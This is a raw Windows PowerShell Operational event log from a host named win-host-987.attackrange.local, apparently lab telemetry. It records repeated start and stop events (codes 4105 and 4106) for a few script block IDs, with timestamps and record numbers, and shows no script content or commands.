Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647261
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647260
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647259
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647258
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647257
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647275
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647274
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647273
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647272
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647271
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647269
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647268
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647267
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647286
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647285
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647284
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647283
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647282
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647281
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647279
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647278
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647277
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647296
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647295
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647293
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647291
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647290
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647289
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647288
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647287
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647306
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647305
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647303
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647302
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647301
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647300
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647299
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647297
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647316
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647315
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647314
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647313
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647311
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647309
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
